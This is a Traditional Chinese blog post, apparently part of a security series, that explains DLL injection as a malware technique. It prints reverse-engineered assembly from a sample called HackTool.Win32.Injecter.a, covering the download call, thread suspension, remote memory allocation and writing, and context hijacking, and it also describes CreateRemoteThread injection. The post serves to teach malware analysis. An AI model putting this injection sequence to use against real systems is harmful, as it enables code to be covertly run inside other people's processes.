在 Windows 作業系統下,每個程序(Processs)在執行過程中,會根據程序所需調用的 APIs 載入需要的 DLL(Dynamic-Link library)。對於病毒而言,有一種技巧是將惡意程式碼包在 DLL 中,並將此 DLL inject 至正常程序裡執行,執行過程中會因為載入該 DLL 以進行病毒行為。
常見 DLL Injection 方法下圖為此方法的流程
流程介紹下面我們用樣本 HackTool.Win32.Injecter.a 中的部分逆向程式碼說明上面這五個流程:
push    offset aUrlmon  ; "urlmon"
call    LoadLibraryA    ; 
mov     [ebp+NumberOfBytesWritten], eax
push    offset aUrldownloadtof ; "URLDownloadToFileA"
要被 inject 惡意程式碼的目標 dll - urlmon.dll。
mov     eax, offset aUrlmon_0 ; "urlmon"
call    sub_402688
lea     edx, [ebp+var_189]
mov     ecx, 40h
mov     eax, offset aUrldownloadt_0 ; "URLDownloadToFileA"
call    sub_402688      
; 在此之前的程式碼從某個惡意網站下載了程式碼儲存, 並修改了 urlmon.dll
mov     [ebp+Context], 10007h
push    esi             ; hThread
call    SuspendThread   ;    
lea     eax, [ebp+Context]
push    eax             ; lpContext
push    esi             ; hThread
call    GetThreadContext
push    40h             ; flProtect
push    1000h           ; flAllocationType
push    1000h           ; dwSize
push    0               ; lpAddress
push    edi             ; hProcess
call    VirtualAllocEx  ;    
mov     ebx, eax
test    ebx, ebx
jz      loc_40A5ED
mov     eax, ds:off_40B300
mov     edx, offset aInjectingACode ; "Injecting a code..."
call    sub_4041F8
call    sub_402E30
call    sub_402638
lea     eax, [ebp+NumberOfBytesWritten] ;   
push    eax             ; lpNumberOfBytesWritten
push    40h             ; nSize
push    offset sub_40A30C ; lpBuffer
push    ebx             ; lpBaseAddress
push    edi             ; hProcess
call    WriteProcessMemory
lea     eax, [ebp+Context]
push    eax             ; lpContext
push    esi             ; hThread
call    SetThreadContext ;  
jmp     short loc_40A606
mov     eax, ds:off_40B300
mov     edx, offset aProcessMemoryI ; "Process memory is not accessible"
call    sub_4041F8
call    sub_402E30
call    sub_402638
push    esi             ; hThread
call    ResumeThread    ;  
淺談何謂 CreateRemoteThread呼叫 CreateRemoteThread 是常用的一種方法,這裡的 CreateRemoteThread 是建立一條 Thread 到另一個程序 (目標程序)裡。目的是要透過目標程序中的 Thread 來呼叫 LoadLibrary 並載入我們要用到的 DLL。
以下為 MSDN 所查到關於 CreateRemoteThread 的用法
假設我們用 LoadLibrary 載入 AAA.dll 時,參數(2)即是 LoadLibrary 的位址,參數(3)則會放 AAA.dll 的路徑。
談完感染型病毒後,接著明天會提到最近很夯但又令人棘手的勒索病毒。
希望有興趣的讀者也能夠點個追蹤,有任何問題或有想多了解的地方也可以回覆在文章底下唷,謝謝你們XDDDD!
參考來源:
DLL injection https://read01.com/0MJPao.html
DLL Injection and Hooking http://securityxploded.com/dll-injection-and-hooking.php
CreateRemoteThread Function https://msdn.microsoft.com/zh-tw/library/windows/desktop/ms682437(v=vs.85).aspx
HackTool  http://vx-archiv.at